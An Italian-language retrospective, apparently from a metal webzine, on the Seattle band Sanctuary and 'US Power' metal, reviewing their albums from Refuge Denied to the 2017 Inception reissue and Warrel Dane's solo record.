SANCTUARY: il lato cupo e drammatico dello “Us Power”

SANCTUARY: il lato cupo e drammatico dello “Us Power”

SANCTUARY: il lato cupo e drammatico dello “Us Power”

I Sanctuary sono una delle tante band nel marasma del cosiddetto “Us Power“, Power Metal di stampo a stelle e strisce che si distacca in maniera molto netta e marcata da quello presente nel resto del mondo; viste le sonorità ruvide e grezze più vicine all’Heavy Metal americano e al Thrash statunitense. Passati da un esordio rabbioso e molto “thrashy” ad  un secondo lavoro molto più cupo ed intimista con una piccola perla di metal americano, i Sanctuary dopo aver conquistato le lodi della critica dell’epoca si sciolsero poco dopo e dalle loro ceneri e con l’ingresso di Jeff Loomis nasceranno i Nevermore.
Dopo diversi anni, la band verrà riformata (e poco dopo moriranno i Nevermore).
Tra le ristampe dei primi due lavori, (che nel corso del tempo divennero oggetto di culto le quali divennero introvabili) live e partecipazioni a festival prestigiosi, insieme alla pubblicazione del terzo album (pubblicato dalla Century Media, non propriamente una Label “balorda” insomma) i Sanctuary riprendono il ciclo interrotto prematuramente; di recente con una demo rimaneggiata, hanno tolto dall’oblio il nome della band americana dandole un discreto seguito, con ampi consensi tra la critica e una buona fetta dei fan soddisfatti degli ultimi anni.

In questo articolo oltre a trattare i lavori licenziati dalla band, troverà spazio anche l’album solista fatto da Warrel Dane uscito nel 2008: detto questo addentriamoci nei meandri dei Sanctuary e buona lettura!

 

GENERE:
Heavy Metal
Us Power

Periodo di attività:
1985 – 1991
2010 – ancora in attività

 

1987: la scena metal americana tra l’Epic ed il Thrash di ottantiana memoria capeggiata da bands come Manowar e Metallica erano in forma smagliante, senza scordare il Glam Metal che aveva conquistato il mainstream d’oltreoceano, con il Progressive Metal che stava nascendo e il momento più alto del Doom Metal in assoluto (con Pentagram, Trouble e Saint Vitus che sfornarono tre pietre miliare del Doom americano) stava vivendo un momento memorabile della sua storia.
In una scena così viva e prolifica si era formata un’altra corrente musicale: lo “Us Power” il quale aveva dei connotati molto differenti dal Power Metal di scuola europea, Brasiliana e Giapponese. In questo scenario molto fertile nascono a Seattle i Sanctuary, che nell’86 licenzieranno una demo e l’anno successivo il loro debutto. La band, scoperta da Dave Mustaine, con il disco Refuge Denied si presentò subito nel migliore dei modi: un heavy metal molto classico nel panorama americano, con delle succose sterzate speed/thrash tipiche dell’epoca. Un guitarwork muscoloso e veloce, intriso di solismi veloci e fulminei con qualche rallentamento di tanto in tanto che non disdegna qualche intro melodica o qualche assolo più lento, si amalgama a ritmiche veloci e in certi casi fortemente ritmate, con un Warrel Dane in grandissima forma che con il suo scream isterico (in certi punti debitori di alcuni mostri sacri del calibro di Rob Halford e King Diamond) sprigiona una grandissima potenza al sound del gruppo che trae giovamento dalla produzione tipica dell’epoca fatta dallo stesso Mustaine. La proposta musicale dei nostri, che tra l’altro ha delle melodie non propriamente allegre ed un sound cupo, viene enfatizzata dalle liriche apocalittiche che danno più forza all’atmosfera del disco. Un lavoro che segue la scia stilistica fatta da band contemporanee come i Metal Church, un lavoro che grazie alle sue melodie e alla potenza riesce a ritagliarsi grandissime lodi all’epoca e permise ai Sanctuary di farsi subito un nome prestigioso e che a livello qualitativo per essere un esordio è pure troppo.

 

Dopo un esordio dirompente spesso accade che il successore delude le aspettative o non ne risulti all’altezza: per la fortuna dei fan del combo americano e per i “metalheads” non fu così in questo caso. Into The Mirror Black (1990), uscito dopo ben tre anni (seppur si allontani da quanto seminato in precedenza), ebbe non poche lodi da fan e critica ed è da molti considerato non solo come “IL” capolavoro dei Sanctuary, ma anche come una delle massime espressioni dello Us Power. Anch’esso, come il precedente lavoro, vede alla produzione il leader maximo dei Megadeth ma le novità a livello musicali sono davvero tante rispetto al passato e danno una certa maturità ad una band sorprendentemente giovane.
A livello vocale Dane, pur presentando un’esibizione maiuscola, ha dovuto attenuare la potenza della sua voce dato che si era danneggiato le corde vocali, presentando così si una voce acuta e potente ma più controllata rispetto all’esordio la quale presentava una maggior personalità espressiva (cosa che poi verrà portata a piena maturazione con i Nevermore). Il guitarwork e le ritmiche si fanno più rallentate, sempre potenti e rocciose ma anche più atmosferiche e melodiche, il sound si fa più tetro ed opprimente, presentando intro plumbee e melodie decadenti, con alcune parti acustiche, un gran numero di assoli melodici e un sound più vario. I testi hanno la stessa evoluzione del sound e accompagnano il tutto in maniera perfetta visto le atmosfere qui ancora di più rafforzate. Si tratta sempre di un lavoro potente e aggressivo ma che non disdegna una maggior cura melodica e che a tratti è quasi riflessivo, grazie alle influenze incorporate da parte della scena più sofisticata presente negli Usa, rappresentata da gruppi come i Crimson Glory. Per via di tutte queste caratteristiche in esso contenute, questo album sarà l’apripista di tutta la discografia fatta dai Nevermore, la band che nascerà dalle ceneri dei Sanctuary i quali si scioglieranno un anno dopo il rilascio di questo – momentaneo – canto del cigno.

Dopo lo split del gruppo nasceranno i Nevermore che in circa vent’anni di onorata carriera andranno a comporre una discografia di gran qualità. Nel 2008 invece è il momento di Warrel Dane a licenziare un disco solista: un lavoro che in certi episodi paga dazio per una marcata similitudine con quanto fatto con la band nella quale militava in quegli anni mentre in altri si intravede una vena molto più personale del sound, con una forte componente heavy metal e qualche accenno al gothic rock (con una scelta in tal senso non casuale delle due cover contenute). In Praises To The War Machine non vi sono però solo melodie tetre ed oscure ma anche arie aperte e soleggianti, un lavoro insolitamente melodico per gli standard di Dane; in ultima analisi, nel disco del cantante abbiamo un’opera molto intimista e per molti versi unica della sua carriera la quale in buona parte si discosta da quanto fatto prima e dopo il suo rilascio.

Nell’anno del signore 2010 (per ironia della sorte a ridosso della pubblicazione dell’ultimo album in studio dei Nevermore dal titolo The Obsidian Conspiracy) i Sanctuary dopo quasi vent’anni ritornano sulle scene con una serie di concerti e con – l’utilissima e necessaria – ristampa dei primi due lavori divenuti ormai introvabili.
Per aspettare il terzo parto discografico i fans e gli “orfani” dei Nevermore dovranno aspettare ancora quattro anni. Ed ecco che all’alba del 2014 sotto la prestigiosa Century Media viene licenziato il terzo disco: The Year the Sun Died e già dal titolo il lavoro si preannuncia drammatico. Il lavoro, sorretto da un concept estremamente cupo, risulta essere allo stesso tempo affascinante e ben curato, che parla della fine dell’umanità “nell’anno in cui muore il sole” (come da titolo del lavoro) attraverso una serie di eventi sanguinosi e senza alcuna speranza. Ad accompagnare questo concept tutt’altro che solare (scusate il gioco di parole), vi è un sound che rispetto al remoto passato è in parte cambiato. Lo stile è quello del secondo lavoro, ma risulta essere ammodernato con dei palesi riferimenti all’esperienza conclusa con il gruppo precedente. Il cantante abbandona lo stile ottantiano per abbracciare uno stile molto più teatrale ed enfatico (con gli acuti usati in pratica solo nell’opener); a livello chitarristico il lavoro alterna potenti riffs power/thrash a parti più melodiche ed introspettive piene di pathos e molto emotive, con una grande ricchezza di assoli veloci e melodici; le ritmiche sono sempre più ancorate ai mid tempos, molto rocciosi e danno un senso marziale al tutto, con dei cambi ritmici azzeccati (ed un basso nascosto purtroppo). L’atmosfera si fa sempre più opprimente fino a giungere all’epitaffio finale dai toni onirici e meditativi ed a completare il tutto vi è una registrazione potente e cristallina con infine un’ottima copertina fatta dal bravissimo Travis Smith. Da citare giocoforza l’edizione “Deluxe” del lavoro vista la presenza della cover dei The Doors (band parecchio apprezzata da DaneWaiting for the Sun, alla quale alcuni fan si sono divertiti ad attribuirgli un significato concettuale all’interno del concept: per la precisione all’attendere nuovamente il sole dopo la sua morte, che quindi porta una calda ventata di speranza tra le rovine di un mondo freddo e fatiscente, una visione coerente con il tema ricorrente del lavoro.

 

Dopo l’ottimo – e forse insperato – ritorno del gruppo con un lavoro che ibrida il sound dei primi Sanctuary con quanto fatto nei vent’anni successivi di carriera con i Nevermore, la band, nonostante qualche critica, conquista sia la stampa di settore che buona parte dei fans e parte per il consueto tour di supposto.
Passano tre anni e da qualche settimana i Nostri hanno licenziato il quarto lavoro in studio: Inception. Esso non è altro che la versione remixata e rimasterizzata della Demo dell’86 e ripubblicata in pompa magna per l’occasione (e probabilmente per una certa mancanza di idee per un lavoro inedito). Il sound non si discosta affatto dall’ottimo esordio, ottimamente restaurato dal produttore Chris Zeuss (e con un basso in evidenza ora!) risultando distante da quanto fatto ultimamente e formalmente la cosa è perfetta se non fosse per due grossi dubbi che fanno un po’ storcere il naso e fanno perdere dei punti all’operazione: il primo punto è che circa un terzo del lavoro è già ampiamente conosciuto visto che era presente nell’esordio ufficiale, mentre come seconda “bacchettata” è da citare la totale mancanza di bonus nella ripubblicazione, che sia un qualche inedito o qualche live da cantina o più recente.
Nonostante ciò comunque il lavoro ha una certa qualità intrinseca e per chi apprezza gli ’80s è una delle pubblicazioni più interessanti degli ultimi anni. Adesso bisognerà vedere quanto occorrerà attendere per il nuovo lavoro dei Sanctuary, poichè dal loro ritorno sono riusciti nella difficile impresa di convincere molti; ed in generale nella loro carriera hanno saputo dare uno spaccato molto personale dello Us power.

 

 

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Sebastiano Dall'Armellina

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